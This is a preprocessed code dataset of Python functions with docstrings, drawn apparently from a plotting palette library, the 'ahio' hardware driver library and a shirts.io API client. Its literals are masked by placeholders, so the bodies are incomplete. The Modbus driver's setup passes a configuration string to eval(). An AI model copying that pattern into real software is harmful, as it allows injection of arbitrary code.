{"signature": "def crayon_palette(colors):", "body": "return [crayon_rgb[name] for name in colors]<EOL>", "docstring": "Make a palette with color names from Crayola crayons.\n\nThe colors come from\nhttp://en.wikipedia.org/wiki/List_of_Crayola_crayon_colors\n\nParameters\n----------\ncolors : list of strings\n    List of keys in the ``mizani.external.crayloax_rgb`` dictionary.\n\nReturns\n-------\npalette : list\n    List of colors as RGB hex strings.\n\nExamples\n--------\n>>> palette = crayon_palette(['almond', 'silver', 'yellow'])\n>>> palette\n['#eed9c4', '#c9c0bb', '#fbe870']\n\n>>> from mizani.external import crayon_rgb\n>>> list(sorted(crayon_rgb.keys()))[:5]\n['almond', 'antique brass', 'apricot', 'aquamarine', 'asparagus']", "id": "f10515:m15"}
{"signature": "def cubehelix_pal(start=<NUM_LIT:0>, rot=<NUM_LIT>, gamma=<NUM_LIT:1.0>, hue=<NUM_LIT>,<EOL>light=<NUM_LIT>, dark=<NUM_LIT>, reverse=False):", "body": "cdict = mpl._cm.cubehelix(gamma, start, rot, hue)<EOL>cubehelix_cmap = mpl.colors.LinearSegmentedColormap('<STR_LIT>', cdict)<EOL>def cubehelix_palette(n):<EOL><INDENT>values = np.linspace(light, dark, n)<EOL>return [mcolors.rgb2hex(cubehelix_cmap(x)) for x in values]<EOL><DEDENT>return cubehelix_palette<EOL>", "docstring": "Utility for creating continuous palette from the cubehelix system.\n\nThis produces a colormap with linearly-decreasing (or increasing)\nbrightness. That means that information will be preserved if printed to\nblack and white or viewed by someone who is colorblind.\n\nParameters\n----------\nstart : float (0 <= start <= 3)\n    The hue at the start of the helix.\nrot : float\n    Rotations around the hue wheel over the range of the palette.\ngamma : float (0 <= gamma)\n    Gamma factor to emphasize darker (gamma < 1) or lighter (gamma > 1)\n    colors.\nhue : float (0 <= hue <= 1)\n    Saturation of the colors.\ndark : float (0 <= dark <= 1)\n    Intensity of the darkest color in the palette.\nlight : float (0 <= light <= 1)\n    Intensity of the lightest color in the palette.\nreverse : bool\n    If True, the palette will go from dark to light.\n\nReturns\n-------\nout : function\n    Continuous color palette that takes a single\n    :class:`int` parameter ``n`` and returns ``n``\n    equally spaced colors.\n\n\nReferences\n----------\nGreen, D. A. (2011). \"A colour scheme for the display of astronomical\nintensity images\". Bulletin of the Astromical Society of India, Vol. 39,\np. 289-295.\n\nExamples\n--------\n>>> palette = cubehelix_pal()\n>>> palette(5)\n['#edd1cb', '#d499a7', '#aa688f', '#6e4071', '#2d1e3e']", "id": "f10515:m16"}
{"signature": "def identity_pal():", "body": "return identity<EOL>", "docstring": "Create palette that maps values onto themselves\n\nReturns\n-------\nout : function\n    Palette function that takes a value or sequence of values\n    and returns the same values.\n\nExamples\n--------\n>>> palette = identity_pal()\n>>> palette(9)\n9\n>>> palette([2, 4, 6])\n[2, 4, 6]", "id": "f10515:m17"}
{"signature": "def check_dependencies():", "body": "pass<EOL>", "docstring": "Check for system level dependencies", "id": "f10518:m0"}
{"signature": "def get_required_packages():", "body": "install_requires = ['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']<EOL>return install_requires<EOL>", "docstring": "Return required packages\n\nPlus any version tests and warnings", "id": "f10518:m1"}
{"signature": "def get_package_data():", "body": "return {}<EOL>", "docstring": "Return package data\n\nFor example:\n\n    {'': ['*.txt', '*.rst'],\n     'hello': ['*.msg']}\n\nmeans:\n    - If any package contains *.txt or *.rst files,\n      include them\n    - And include any *.msg files found in\n      the 'hello' package, too:", "id": "f10518:m2"}
{"signature": "def add_path(path):", "body": "drivers.add_path(path)<EOL>", "docstring": "Adds a directory to the list of folders where to load drivers from", "id": "f10519:m0"}
{"signature": "def remove_path(path):", "body": "drivers.remove_path(path)<EOL>", "docstring": "Removes a directory from the list of folders where to load drivers from", "id": "f10519:m1"}
{"signature": "def clear_path():", "body": "drivers.clear_path()<EOL>", "docstring": "Clears the list of folders where to load drivers from", "id": "f10519:m2"}
{"signature": "def list_available_drivers():", "body": "return drivers.available_drivers()<EOL>", "docstring": "Returns a list of string with the names of available drivers.\n\n    Available means that the driver is installed and can be used. For example,\n    it will not contain \"Raspberry\" if you're not running on a Raspberry Pi,\n    even if the raspberry.py script is present in the drivers directory.\n\n    @returns a list of strings that can be fed to `ahio.new_driver` to get an\n    instance of the desired driver.", "id": "f10519:m3"}
{"signature": "def driver_info(name):", "body": "return drivers.driver_info(name)<EOL>", "docstring": "Returns driver metadata.\n\n    Returns a class which static properties contains metadata from the\n    driver, such as name and availability.\n\n    @returns a subclass from `ahio.abstract_driver.AbstractahioDriverInfo` with\n    metadata from the driver.", "id": "f10519:m4"}
{"signature": "def new_driver(name):", "body": "return drivers.new_driver_object(name)<EOL>", "docstring": "Instantiates a new object of the named driver.\n\n    The API used by the returned object can be seen in\n    `ahio.abstract_driver.AbstractDriver`\n\n    @returns a Driver object from the required type or None if it's not\n    available", "id": "f10519:m5"}
{"signature": "def available_pins(self):", "body": "raise NotImplementedMethod()<EOL>", "docstring": "Returns available pins.\n\n        Returns a list of dictionaries indicating the available pins and it's\n        capabilities. It should follow this format:\n        \\verbatim\n        [ {\n            'id': 1, # some value that represents this pin in your\n                     # implementation.\n                     # prefer numbers and Enums. This value will be used\n                     # in `map_pin(a,p)`\n            'name': 'Pin 1', # a name that can be shown to the user, if needed\n            'analog': {\n                'input': True, # if analog input is available\n                'output': False, # if analog output is available\n                'read_range': (0, 1023), # if input is supported, what is the\n                                         # valid range (both inclusive)\n                'write_range': (0, 5) # if output is supported, what is the\n                                      #valid range (both inclusive)\n            },\n            'digital': {\n                'input': True, # if digital input is available\n                'output': True, # if digital output is available\n                'pwm': True # if pwm generation is available\n            }\n        }]\n        \\endverbatim\n\n        If you're developing a driver, you should override this function.\n\n        @returns a list of dictionaries", "id": "f10520:c1:m0"}
{"signature": "def map_pin(self, abstract_pin_id, physical_pin_id):", "body": "if physical_pin_id:<EOL><INDENT>self._pin_mapping[abstract_pin_id] = physical_pin_id<EOL><DEDENT>else:<EOL><INDENT>self._pin_mapping.pop(abstract_pin_id, None)<EOL><DEDENT>", "docstring": "Maps a pin number to a physical device pin.\n\n        To make it easy to change drivers without having to refactor a lot of\n        code, this library does not use the names set by the driver to identify\n        a pin. This function will map a number, that will be used by other\n        functions, to a physical pin represented by the drivers pin id. That\n        way, if you need to use another pin or change the underlying driver\n        completly, you only need to redo the mapping.\n\n        If you're developing a driver, keep in mind that your driver will not\n        know about this. The other functions will translate the mapped pin to\n        your id before calling your function.\n\n        @arg abstract_pin_id the id that will identify this pin in the\n        other function calls. You can choose what you want.\n\n        @arg physical_pin_id the id returned in the driver.\n            See `AbstractDriver.available_pins`. Setting it to None removes the\n            mapping.", "id": "f10520:c1:m1"}
{"signature": "def mapped_pins(self):", "body": "return self._pin_mapping<EOL>", "docstring": "Returns a dictionary containing the mapped pins.\n\n        Each key of the dictionary is the ID you set with map_pin, and each\n        value is the driver-specific ID.\n\n        @returns a dictionary of mapped pins", "id": "f10520:c1:m2"}
{"signature": "def set_pin_interpolation(self,<EOL>pin,<EOL>read_min,<EOL>read_max,<EOL>write_min,<EOL>write_max):", "body": "if type(pin) is list:<EOL><INDENT>args = (read_min, read_max, write_min, write_max)<EOL>for p in pin:<EOL><INDENT>self.set_pin_interpolation(p, *args)<EOL><DEDENT>return<EOL><DEDENT>valid_read = (read_min is not None and read_max is not None)<EOL>valid_write = (write_min is not None and write_max is not None)<EOL>if not valid_read and not valid_write:<EOL><INDENT>self._pin_lin.pop(pin, None)<EOL>return<EOL><DEDENT>pin_id = self._pin_mapping.get(pin, None)<EOL>pins = [pin for pin in self.available_pins() if pin_id == pin['<STR_LIT:id>']]<EOL>read = pins[<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>']<EOL>write = pins[<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>']<EOL>valid_read = valid_read and read<EOL>valid_write = valid_write and write<EOL>self._pin_lin[pin] = {<EOL>'<STR_LIT>': (*read, read_min, read_max) if valid_read else None,<EOL>'<STR_LIT>': (write_min, write_max, *write) if valid_write else None<EOL>}<EOL>", "docstring": "Interpolates input and output values for `pin`.\n\n        Changes the output and input of `AbstractDriver.read` and\n        `AbstractDriver.write` functions to use a value in range\n        (`read_min`, `read_max`) or (`write_min`, `write_max`) instead of the\n        values returned by `available_pins` (analog only). The conversion is\n        done using linear interpolation. If `read_min`, `read_max`, `write_min`\n        and `write_max` are all None or don't form valid pairs (like, read_min\n        has a value but read_max is None), the pin is deregistered. If you pass\n        a pair but leave the other with None values, only one direction is\n        registered.\n\n        @arg pin pin id you've set using `AbstractDriver.map_pin`\n        @arg read_min the min value for the linear interpolation of\n             `AbstractDriver.read`.\n        @arg read_max the max value for the linear interpolation of\n             `AbstractDriver.read`.\n        @arg write_min the min value for the linear interpolation of\n             `AbstractDriver.write`.\n        @arg write_max the max value for the linear interpolation of\n             `AbstractDriver.write`.", "id": "f10520:c1:m4"}
{"signature": "def set_pin_direction(self, pin, direction):", "body": "if type(pin) is list:<EOL><INDENT>for p in pin:<EOL><INDENT>self.set_pin_direction(p, direction)<EOL><DEDENT>return<EOL><DEDENT>pin_id = self._pin_mapping.get(pin, None)<EOL>if pin_id and type(direction) is ahio.Direction:<EOL><INDENT>self._set_pin_direction(pin_id, direction)<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>' % pin)<EOL><DEDENT>", "docstring": "Sets pin `pin` to `direction`.\n\n        The pin should support the requested mode. Calling this function\n        on a unmapped pin does nothing. Calling it with a unsupported direction\n        throws RuntimeError.\n\n        If you're developing a driver, you should implement\n        _set_pin_direction(self, pin, direction) where `pin` will be one of\n        your internal IDs. If a pin is set to OUTPUT, put it on LOW state.\n\n        @arg pin pin id you've set using `AbstractDriver.map_pin`\n        @arg mode a value from `AbstractDriver.Direction`\n\n        @throw KeyError if pin isn't mapped.\n        @throw RuntimeError if direction is not supported by pin.", "id": "f10520:c1:m5"}
{"signature": "def pin_direction(self, pin):", "body": "if type(pin) is list:<EOL><INDENT>return [self.pin_direction(p) for p in pin]<EOL><DEDENT>pin_id = self._pin_mapping.get(pin, None)<EOL>if pin_id:<EOL><INDENT>return self._pin_direction(pin_id)<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>' % pin)<EOL><DEDENT>", "docstring": "Gets the `ahio.Direction` this pin was set to.\n\n        If you're developing a driver, implement _pin_direction(self, pin)\n\n        @arg pin the pin you want to see the mode\n        @returns the `ahio.Direction` the pin is set to\n\n        @throw KeyError if pin isn't mapped.", "id": "f10520:c1:m6"}
{"signature": "def set_pin_type(self, pin, ptype):", "body": "if type(pin) is list:<EOL><INDENT>for p in pin:<EOL><INDENT>self.set_pin_type(p, ptype)<EOL><DEDENT>return<EOL><DEDENT>pin_id = self._pin_mapping.get(pin, None)<EOL>if type(ptype) is not ahio.PortType:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>elif pin_id:<EOL><INDENT>self._set_pin_type(pin_id, ptype)<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>' % pin)<EOL><DEDENT>", "docstring": "Sets pin `pin` to `type`.\n\n        The pin should support the requested mode. Calling this function\n        on a unmapped pin does nothing. Calling it with a unsupported mode\n        throws RuntimeError.\n\n        If you're developing a driver, you should implement\n        _set_pin_type(self, pin, ptype) where `pin` will be one of your\n        internal IDs. If a pin is set to OUTPUT, put it on LOW state.\n\n        @arg pin pin id you've set using `AbstractDriver.map_pin`\n        @arg mode a value from `AbstractDriver.PortType`\n\n        @throw KeyError if pin isn't mapped.\n        @throw RuntimeError if type is not supported by pin.", "id": "f10520:c1:m7"}
{"signature": "def pin_type(self, pin):", "body": "if type(pin) is list:<EOL><INDENT>return [self.pin_type(p) for p in pin]<EOL><DEDENT>pin_id = self._pin_mapping.get(pin, None)<EOL>if pin_id:<EOL><INDENT>return self._pin_type(pin_id)<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>' % pin)<EOL><DEDENT>", "docstring": "Gets the `ahio.PortType` this pin was set to.\n\n        If you're developing a driver, implement _pin_type(self, pin)\n\n        @arg pin the pin you want to see the mode\n        @returns the `ahio.PortType` the pin is set to\n\n        @throw KeyError if pin isn't mapped.", "id": "f10520:c1:m8"}
{"signature": "def write(self, pin, value, pwm=False):", "body": "if type(pin) is list:<EOL><INDENT>for p in pin:<EOL><INDENT>self.write(p, value, pwm)<EOL><DEDENT>return<EOL><DEDENT>if pwm and type(value) is not int and type(value) is not float:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>pin_id = self._pin_mapping.get(pin, None)<EOL>if pin_id:<EOL><INDENT>lpin = self._pin_lin.get(pin, None)<EOL>if lpin and type(lpin['<STR_LIT>']) is tuple:<EOL><INDENT>write_range = lpin['<STR_LIT>']<EOL>value = self._linear_interpolation(value, *write_range)<EOL><DEDENT>self._write(pin_id, value, pwm)<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>' % pin)<EOL><DEDENT>", "docstring": "Sets the output to the given value.\n\n        Sets `pin` output to given value. If the pin is in INPUT mode, do\n        nothing. If it's an analog pin, value should be in write_range.\n        If it's not in the allowed range, it will be clamped. If pin is in\n        digital mode, value can be `ahio.LogicValue` if `pwm` = False, or a\n        number between 0 and 1 if `pwm` = True. If PWM is False, the pin will\n        be set to HIGH or LOW, if `pwm` is True, a PWM wave with the given\n        cycle will be created. If the pin does not support PWM and `pwm` is\n        True, raise RuntimeError. The `pwm` argument should be ignored in case\n        the pin is analog. If value is not valid for the given\n        pwm/analog|digital combination, raise TypeError.\n\n        If you're developing a driver, implement _write(self, pin, value, pwm)\n\n        @arg pin the pin to write to\n        @arg value the value to write on the pin\n        @arg pwm wether the output should be a pwm wave\n\n        @throw RuntimeError if the pin does not support PWM and `pwm` is True.\n        @throw TypeError if value is not valid for this pin's mode and pwm\n               value.\n        @throw KeyError if pin isn't mapped.", "id": "f10520:c1:m9"}
{"signature": "def read(self, pin):", "body": "if type(pin) is list:<EOL><INDENT>return [self.read(p) for p in pin]<EOL><DEDENT>pin_id = self._pin_mapping.get(pin, None)<EOL>if pin_id:<EOL><INDENT>value = self._read(pin_id)<EOL>lpin = self._pin_lin.get(pin, None)<EOL>if lpin and type(lpin['<STR_LIT>']) is tuple:<EOL><INDENT>read_range = lpin['<STR_LIT>']<EOL>value = self._linear_interpolation(value, *read_range)<EOL><DEDENT>return value<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>' % pin)<EOL><DEDENT>", "docstring": "Reads value from pin `pin`.\n\n        Returns the value read from pin `pin`. If it's an analog pin, returns\n        a number in analog.input_range. If it's digital, returns\n        `ahio.LogicValue`.\n\n        If you're developing a driver, implement _read(self, pin)\n\n        @arg pin the pin to read from\n        @returns the value read from the pin\n\n        @throw KeyError if pin isn't mapped.", "id": "f10520:c1:m10"}
{"signature": "def analog_references(self):", "body": "raise NotImplementedMethod()<EOL>", "docstring": "Possible values for analog reference.\n\n        If you're developing a driver, override this function.\n\n        @returns a list of values that can be passed to set_analog_reference or\n            returned from analog_reference(). Very driver specific.", "id": "f10520:c1:m11"}
{"signature": "def set_analog_reference(self, reference, pin=None):", "body": "if pin is None:<EOL><INDENT>self._set_analog_reference(reference, None)<EOL><DEDENT>else:<EOL><INDENT>pin_id = self._pin_mapping.get(pin, None)<EOL>if pin_id:<EOL><INDENT>self._set_analog_reference(reference, pin_id)<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>' % pin)<EOL><DEDENT><DEDENT>", "docstring": "Sets the analog reference to `reference`\n\n        If the driver supports per pin reference setting, set pin to the\n        desired reference. If not, passing None means set to all, which is the\n        default in most hardware. If only per pin reference is supported and\n        pin is None, raise RuntimeError.\n\n        If you're developing a driver, implement\n        _set_analog_reference(self, reference, pin). Raise RuntimeError if pin\n        was set but is not supported by the platform.\n\n        @arg reference the value that describes the analog reference. See\n            `AbstractDriver.analog_references`\n        @arg pin if the the driver supports it, the pin that will use\n            `reference` as reference. None for all.\n\n        @throw RuntimeError if pin is None on a per pin only hardware, or if\n            it's a valid pin on a global only analog reference hardware.\n        @throw KeyError if pin isn't mapped.", "id": "f10520:c1:m12"}
{"signature": "def analog_reference(self, pin=None):", "body": "if pin is None:<EOL><INDENT>return self._analog_reference(None)<EOL><DEDENT>else:<EOL><INDENT>pin_id = self._pin_mapping.get(pin, None)<EOL>if pin_id:<EOL><INDENT>return self._analog_reference(pin_id)<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>' % pin)<EOL><DEDENT><DEDENT>", "docstring": "Returns the analog reference.\n\n        If the driver supports per pin analog reference setting, returns the\n        reference for pin `pin`. If pin is None, returns the global analog\n        reference. If only per pin reference is supported and pin is None,\n        raise RuntimeError.\n\n        If you're developing a driver, implement _analog_reference(self, pin)\n\n        @arg pin if the the driver supports it, the pin that will use\n            `reference` as reference. None for all.\n\n        @returns the reference used for pin\n\n        @throw RuntimeError if pin is None on a per pin only hardware, or if\n            it's a valid pin on a global only analog reference hardware.\n        @throw KeyError if pin isn't mapped.", "id": "f10520:c1:m13"}
{"signature": "def set_pwm_frequency(self, frequency, pin=None):", "body": "if pin is None:<EOL><INDENT>self._set_pwm_frequency(frequency, None)<EOL><DEDENT>else:<EOL><INDENT>pin_id = self._pin_mapping.get(pin, None)<EOL>if pin_id:<EOL><INDENT>self._set_pwm_frequency(frequency, pin_id)<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>' % pin)<EOL><DEDENT><DEDENT>", "docstring": "Sets PWM frequency, if supported by hardware\n\n        If the driver supports per pin frequency setting, set pin to the\n        desired frequency. If not, passing None means set to all. If only per\n        pin frequency is supported and pin is None, raise RuntimeError.\n\n        If you're developing a driver, implement\n        _set_pwm_frequency(self, frequency, pin). Raise RuntimeError if pin\n        was set but is not supported by the platform.\n\n        @arg frequency pwm frequency to be set, in Hz\n        @arg pin if the the driver supports it, the pin that will use\n            `frequency` as pwm frequency. None for all/global.\n\n        @throw RuntimeError if pin is None on a per pin only hardware, or if\n            it's a valid pin on a global only hardware.\n        @throw KeyError if pin isn't mapped.", "id": "f10520:c1:m14"}
{"signature": "def setup(self, port):", "body": "port = str(port)<EOL>self._serial = serial.Serial(port, <NUM_LIT>, timeout=<NUM_LIT:2>)<EOL>time.sleep(<NUM_LIT:2>)  <EOL>if not self._serial.is_open:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>self._serial.write(b'<STR_LIT>')<EOL>if self._serial.read() != b'<STR_LIT>':<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>ps = [p for p in self.available_pins() if p['<STR_LIT>']['<STR_LIT>']]<EOL>for pin in ps:<EOL><INDENT>self._set_pin_direction(pin['<STR_LIT:id>'], ahio.Direction.Output)<EOL><DEDENT>", "docstring": "Connects to an Arduino UNO on serial port `port`.\n\n        @throw RuntimeError can't connect to Arduino", "id": "f10522:c1:m2"}
{"signature": "def pi_version():", "body": "if not os.path.isfile('<STR_LIT>'):<EOL><INDENT>return None<EOL><DEDENT>with open('<STR_LIT>', '<STR_LIT:r>') as infile:<EOL><INDENT>cpuinfo = infile.read()<EOL><DEDENT>match = re.search('<STR_LIT>', cpuinfo,<EOL>flags=re.MULTILINE | re.IGNORECASE)<EOL>if not match:<EOL><INDENT>return None<EOL><DEDENT>if match.group(<NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif match.group(<NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:2><EOL><DEDENT>elif match.group(<NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:3><EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Detect the version of the Raspberry Pi.  Returns either 1, 2 or\n    None depending on if it's a Raspberry Pi 1 (model A, B, A+, B+),\n    Raspberry Pi 2 (model B+), or not a Raspberry Pi.\n    https://github.com/adafruit/Adafruit_Python_GPIO/blob/master/Adafruit_GPIO/Platform.py", "id": "f10523:m0"}
{"signature": "def setup(self, address, rack=<NUM_LIT:0>, slot=<NUM_LIT:1>, port=<NUM_LIT>):", "body": "rack = int(rack)<EOL>slot = int(slot)<EOL>port = int(port)<EOL>address = str(address)<EOL>self._client = snap7.client.Client()<EOL>self._client.connect(address, rack, slot, port)<EOL>", "docstring": "Connects to a Siemens S7 PLC.\n\n        Connects to a Siemens S7 using the Snap7 library.\n        See [the snap7 documentation](http://snap7.sourceforge.net/) for\n        supported models and more details.\n\n        It's not currently possible to query the device for available pins,\n        so `available_pins()` returns an empty list. Instead, you should use\n        `map_pin()` to map to a Merker, Input or Output in the PLC. The\n        internal id you should use is a string following this format:\n        '[DMQI][XBWD][0-9]+.?[0-9]*' where:\n\n        * [DMQI]: D for DB, M for Merker, Q for Output, I for Input\n        * [XBWD]: X for bit, B for byte, W for word, D for dword\n        * [0-9]+: Address of the resource\n        * [0-9]*: Bit of the address (type X only, ignored in others)\n\n        For example: 'IB100' will read a byte from an input at address 100 and\n        'MX50.2' will read/write bit 2 of the Merker at address 50. It's not\n        allowed to write to inputs (I), but you can read/write Outpus, DBs and\n        Merkers. If it's disallowed by the PLC, an exception will be thrown by\n        python-snap7 library.\n\n        For this library to work, it might be needed to change some settings\n        in the PLC itself. See\n        [the snap7 documentation](http://snap7.sourceforge.net/) for more\n        information. You also need to put the PLC in RUN mode. Not however that\n        having a Ladder program downloaded, running and modifying variables\n        will probably interfere with inputs and outputs, so put it in RUN mode,\n        but preferably without a downloaded program.\n\n        @arg address IP address of the module.\n        @arg rack rack where the module is installed.\n        @arg slot slot in the rack where the module is installed.\n        @arg port port the PLC is listenning to.\n\n        @throw RuntimeError if something went wrong\n        @throw any exception thrown by `snap7`'s methods.", "id": "f10524:c1:m2"}
{"signature": "def available_drivers():", "body": "global __modules<EOL>global __available<EOL>if type(__modules) is not list:<EOL><INDENT>__modules = list(__modules)<EOL><DEDENT>if not __available:<EOL><INDENT>__available = [d.ahioDriverInfo.NAME<EOL>for d in __modules<EOL>if d.ahioDriverInfo.AVAILABLE]<EOL><DEDENT>return __available<EOL>", "docstring": "Returns a list of available drivers names.", "id": "f10526:m3"}
{"signature": "def driver_info(name):", "body": "driver = __locate_driver_named(name)<EOL>return driver.ahioDriverInfo if driver else None<EOL>", "docstring": "Returns driver metadata.\n\n    Returns a class which static properties contains metadata from the\n    driver, such as name and availability.\n\n    @returns a subclass from `ahio.abstract_driver.AbstractahioDriverInfo` with\n    metadata from the driver.", "id": "f10526:m4"}
{"signature": "def new_driver_object(name):", "body": "driver = __locate_driver_named(name)<EOL>return driver.Driver() if driver else None<EOL>", "docstring": "Instantiates a new object of the named driver.\n\n    The API used by the returned object can be seen in\n    `ahio.abstract_driver.AbstractDriver`\n\n    @returns a Driver object from the required type of None if it's not\n    available", "id": "f10526:m5"}
{"signature": "def __load_driver(name):", "body": "global __count<EOL>try:<EOL><INDENT>dname = os.path.basename(name).replace('<STR_LIT>', '<STR_LIT>')<EOL>mod_name = '<STR_LIT>' % (dname, __count)<EOL>loader = importlib.machinery.SourceFileLoader(mod_name, name)<EOL>driver = loader.load_module()<EOL>__count += <NUM_LIT:1><EOL>return driver if hasattr(driver, '<STR_LIT>') else False<EOL><DEDENT>except Exception:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Tries to load the driver named @arg name.\n\n    A driver is considered valid if it has a ahioDriverInfo object. It should\n    however implement all APIs described in `ahio.abstract_driver`, as they'll\n    be needed to use the driver.\n\n    @returns the driver package, or False if it failed.", "id": "f10526:m6"}
{"signature": "def __locate_driver_named(name):", "body": "global __modules<EOL>if type(__modules) is not list:<EOL><INDENT>__modules = list(__modules)<EOL><DEDENT>ms = [d for d in __modules if d.ahioDriverInfo.NAME == name]<EOL>if not ms:<EOL><INDENT>return None<EOL><DEDENT>return ms[<NUM_LIT:0>]<EOL>", "docstring": "Searchs __modules for a driver named @arg name.\n\n    @returns the package for driver @arg name or None if one can't be found.", "id": "f10526:m7"}
{"signature": "def setup(self, address, port):", "body": "address = str(address)<EOL>port = int(port)<EOL>self._socket = socket.socket()<EOL>self._socket.connect((address, port))<EOL>self._socket.send(b'<STR_LIT>')<EOL>with self._socket.makefile() as f:<EOL><INDENT>if f.readline().strip() != '<STR_LIT:OK>':<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Connects to server at `address`:`port`.\n\n        Connects to a TCP server listening at `address`:`port` that implements\n        the protocol described in the file \"Generic TCP I:O Protocol.md\"\n\n        @arg address IP or address to connect to.\n        @arg port port to connect to.\n\n        @throw RuntimeError if connection was successiful but protocol isn't\n               supported.\n        @throw any exception thrown by `socket.socket`'s methods.", "id": "f10527:c1:m2"}
{"signature": "def setup(<EOL>self,<EOL>configuration=\"<STR_LIT>\"<EOL>):", "body": "from pymodbus3.client.sync import ModbusSerialClient, ModbusUdpClient, ModbusTcpClient<EOL>self._client = eval(configuration)<EOL>self._client.connect()<EOL>", "docstring": "Start a Modbus server.\n\n        The following classes are available with their respective named\n        parameters:\n\n        ModbusTcpClient\n            host: The host to connect to (default 127.0.0.1)\n            port: The modbus port to connect to (default 502)\n            source_address: The source address tuple to bind to (default ('', 0))\n            timeout: The timeout to use for this socket (default Defaults.Timeout)\n\n        ModbusUdpClient\n            host: The host to connect to (default 127.0.0.1)\n            port: The modbus port to connect to (default 502)\n            timeout: The timeout to use for this socket (default None)\n\n        ModbusSerialClient\n            method: The method to use for connection (asii, rtu, binary)\n            port: The serial port to attach to\n            stopbits: The number of stop bits to use (default 1)\n            bytesize: The bytesize of the serial messages (default 8 bits)\n            parity: Which kind of parity to use (default None)\n            baudrate: The baud rate to use for the serial device\n            timeout: The timeout between serial requests (default 3s)\n\n        When configuring the ports, the following convention should be\n        respected:\n\n        portname: C1:13 -> Coil on device 1, address 13\n\n        The letters can be:\n\n        C = Coil\n        I = Input\n        R = Register\n        H = Holding\n\n        @arg configuration a string that instantiates one of those classes.\n\n        @throw RuntimeError can't connect to Arduino", "id": "f10528:c1:m2"}
{"signature": "def get(self, url, params={}):", "body": "params.update({'<STR_LIT>': self.api_key})<EOL>try:<EOL><INDENT>response = requests.get(self.host + url, params=params)<EOL><DEDENT>except RequestException as e:<EOL><INDENT>response = e.args<EOL><DEDENT>return self.json_parse(response.content)<EOL>", "docstring": "Issues a GET request against the API, properly formatting the params\n\n:param url: a string, the url you are requesting\n:param params: a dict, the key-value of all the paramaters needed\n               in the request\n:returns: a dict parsed of the JSON response", "id": "f10530:c0:m1"}
{"signature": "def post(self, url, params={}, files=None):", "body": "params.update({'<STR_LIT>': self.api_key})<EOL>try:<EOL><INDENT>response = requests.post(self.host + url, data=params, files=files)<EOL>return self.json_parse(response.content)<EOL><DEDENT>except RequestException as e:<EOL><INDENT>return self.json_parse(e.args)<EOL><DEDENT>", "docstring": "Issues a POST request against the API, allows for multipart data uploads\n\n:param url: a string, the url you are requesting\n:param params: a dict, the key-value of all the parameters needed\n               in the request\n:param files: a list, the list of tuples of files\n\n:returns: a dict parsed of the JSON response", "id": "f10530:c0:m2"}
{"signature": "def json_parse(self, content):", "body": "try:<EOL><INDENT>data = json.loads(content)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>return {'<STR_LIT>': { '<STR_LIT:status>': <NUM_LIT>, '<STR_LIT>': '<STR_LIT>'}, '<STR_LIT>': {\"<STR_LIT:error>\": \"<STR_LIT>\"}}<EOL><DEDENT>if '<STR_LIT:error>' in data:<EOL><INDENT>return {'<STR_LIT>': { '<STR_LIT:status>': <NUM_LIT>, '<STR_LIT>': '<STR_LIT>'}, '<STR_LIT>': {\"<STR_LIT:error>\": data['<STR_LIT:error>']}}<EOL><DEDENT>elif '<STR_LIT:result>' in data:<EOL><INDENT>return data['<STR_LIT:result>']<EOL><DEDENT>else:<EOL><INDENT>return {}<EOL><DEDENT>", "docstring": "Wraps and abstracts content validation and JSON parsing\nto make sure the user gets the correct response.\n\n:param content: The content returned from the web request to be parsed as json\n\n:returns: a dict of the json response", "id": "f10530:c0:m3"}
{"signature": "def __init__(self, api_key):", "body": "<EOL>self.ApiResourceMixin.set_api_key(api_key)<EOL>self.products = self.ProductsResource()<EOL>self.quote = self.QuoteResource()<EOL>self.status = self.StatusResource()<EOL>self.webhooks = self.WebhooksResource()<EOL>", "docstring": "Initializes the ShirtsIOClient object, creating the ShirtsIORequest\nobject which deals with all request formatting.\n\n:param api_key: a string, the user specific secret, received\n                     from the /access_token endpoint\n\n:returns: None", "id": "f10531:c0:m0"}
{"signature": "def validate_params(required, optional, params):", "body": "missing_fields = [x for x in required if x not in params]<EOL>if missing_fields:<EOL><INDENT>field_strings = \"<STR_LIT:U+002CU+0020>\".join(missing_fields)<EOL>raise Exception(\"<STR_LIT>\" % field_strings)<EOL><DEDENT>disallowed_fields = [x for x in params if x not in optional and x not in required]<EOL>if disallowed_fields:<EOL><INDENT>field_strings = \"<STR_LIT:U+002CU+0020>\".join(disallowed_fields)<EOL>raise Exception(\"<STR_LIT>\" % field_strings)<EOL><DEDENT>", "docstring": "Helps us validate the parameters for the request\n\n:param valid_options: a list of strings of valid options for the\n                      api request\n:param params: a dict, the key-value store which we really only care about\n               the key which has tells us what the user is using for the\n               API request\n\n:returns: None or throws an exception if the validation fails", "id": "f10532:m0"}
